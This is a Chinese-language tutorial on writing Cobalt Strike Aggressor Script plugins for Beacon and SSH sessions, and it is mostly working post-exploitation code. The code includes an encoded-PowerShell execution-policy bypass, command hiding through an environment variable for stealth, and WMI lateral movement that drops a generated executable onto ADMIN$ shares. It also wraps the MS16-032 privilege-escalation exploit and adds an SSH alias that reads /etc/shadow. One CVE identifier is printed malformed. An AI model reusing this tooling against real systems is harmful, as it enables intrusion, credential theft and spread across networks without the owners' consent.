CobaltStrike插件开发官方指南 Part3 - Beacon与SSH会话详解

0x05 Beacon功能开发

Beacon是Cobalt Strike后渗透的重要功能模块，本节将详细讲解如何使用agscript自动化执行Beacon功能。

元数据处理

Cobalt Strike为每个Beacon会话分配随机ID，任务元数据与ID关联：

command beacons {
    local('$entry $key $value');
    foreach $entry (beacons()) {
        println($entry['id']);
        foreach $key => $value ($entry) {
            println("$[20]key : $value");
        }
        println();
    }
}

Aliases快捷命令

创建快捷命令的两种方式：

1. 基础alias方式：

alias hello {
    blog($1, "Hello World!");
}

2. 使用beacon_command_register注册：

alias echo {
    blog($1, "You typed: " . substr($1, 5));
}
beacon_command_register(
    "echo", 
    "echo text to beacon log", 
    "Synopsis: echo [arguments]\n\nLog arguments to the beacon console"
);

处理新Beacon会话

使用beacon_initial事件处理新会话：

on beacon_initial {
    # 新会话初始化代码
}

对于DNS Beacon，使用beacon_initial_empty事件：

on beacon_initial_empty {
    # 处理首次连接的DNS Beacon
}

右键菜单扩展

添加右键菜单项：

popup beacon_bottom {
    item "Run All..." {
        prompt_text("Which command to run?", "whoami /groups", 
            lambda({
                binput(@ids, "shell $1");
                bshell(@ids, $1);
            }, @ids => $1));
    }
}

可用函数：

• beacon_top - 在顶部添加菜单项
• beacon_bottom - 在底部添加菜单项

任务描述

使用btask添加任务描述和ATT&CK分类：

alias survey {
    btask($1, "Surveying the target!", "T1082");
    bshell!($1, "echo Groups && whoami /groups");
    bshell!($1, "echo Processes && tasklist /v");
    bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
    bshell!($1, "echo System Info && systeminfo");
}

ATT&CK分类参考：https://attack.mitre.org/

案例1：覆盖内置命令

覆盖powershell命令示例：

alias powershell {
    local('$args $cradle $runme $cmd');
    $args = substr($0, 11);
    $cradle = beacon_host_imported_script($1);
    $runme = base64_encode(str_encode($cradle . $args, "UTF-16LE"));
    $cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
    btask($1, "Tasked beacon to run: $args", "T1086");
    beacon_execute_job($1, "powershell", $cmd, 1);
}

覆盖shell命令实现环境变量隐藏：

alias shell {
    local('$args');
    $args = substr($0, 6);
    btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
    bsetenv!($1, "_", $args);
    beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}

案例2：横向渗透(WMI)

注册wmi-alt命令：

beacon_command_register("wmi-alt", "lateral movement with WMIC", 
    "Synopsis: wmi-alt [target] [listener]\n\n" .
    "Generates an executable and uses wmic to run it on a target");

完整实现：

alias wmi-alt {
    local('$mydata $myexe');
    if (listener_info($3) is $null) {
        berror($1, "Listener $3 does not exist");
        return;
    }
    $mydata = artifact($3, "exe", true);
    $myexe = int(rand() * 10000) . ".exe";
    btask($1, "Tasked Beacon to jump to $2 (" . 
        listener_describe($3, $2) . ") via WMI", "T1047");
    bupload_raw!($1, "\\\\$2\\ADMIN$\\$myexe", $mydata);
    bshell!($1, "wmic /node:$2 process call create \"c:\\windows\\$myexe\"");
    bstage($1, $2, $3);
}

案例3：提权(MS16-032)

注册漏洞利用：

beacon_exploit_register("ms16-032", 
    "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", 
    &ms16_032_exploit);

完整实现：

sub ms16_032_exploit {
    local('$script $oneliner');
    btask($1, "Tasked Beacon to run " . 
        listener_describe($2) . " via ms16-032", "T1068");
    $script = artifact($2, "powershell");
    $oneliner = beacon_host_script($1, $script);
    bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
    bpowerpick!($1, "Invoke-MS16032 -Command \"$oneliner\"");
    bstage($1, $null, $2);
}

0x06 SSH会话开发

SSH会话使用SMB Beacon协议实现，是Beacon会话的子集。

SSH会话性质

• 每个SSH会话有唯一ID
• 使用beacons()函数获取所有会话信息
• 检测函数：

  -isssh   # 检测SSH会话
  -isbeacon # 检测Beacon会话
  

过滤SSH会话示例：

sub ssh_sessions {
    return map({
        if (-isssh $1['id']) {
            return $1;
        } else {
            return $null;
        }
    }, beacons());
}

SSH快捷命令

创建SSH别名：

ssh_alias hashdump {
    if (-isadmin $1) {
        bshell($1, "cat /etc/shadow");
    } else {
        berror($1, "You're (probably) not an admin");
    }
}

使用ssh_command_register注册：

ssh_alias echo {
    blog($1, "You typed: " . substr($1, 5));
}
ssh_command_register(
    "echo",
    "echo posts to the current session's log",
    "Synopsis: echo [arguments]\n\nLog arguments to the SSH console"
);

SSH新会话处理

使用ssh_initial事件：

on ssh_initial {
    # 新SSH会话初始化代码
}

SSH右键菜单

添加SSH右键菜单：

popup ssh {
    item "testPopup" {
        prompt_text("Which command to run?", "w", 
            lambda({
                binput(@ids, "shell $1");
                bshell(@ids, $1);
            }, @ids => $1));
    }
}

关键函数总结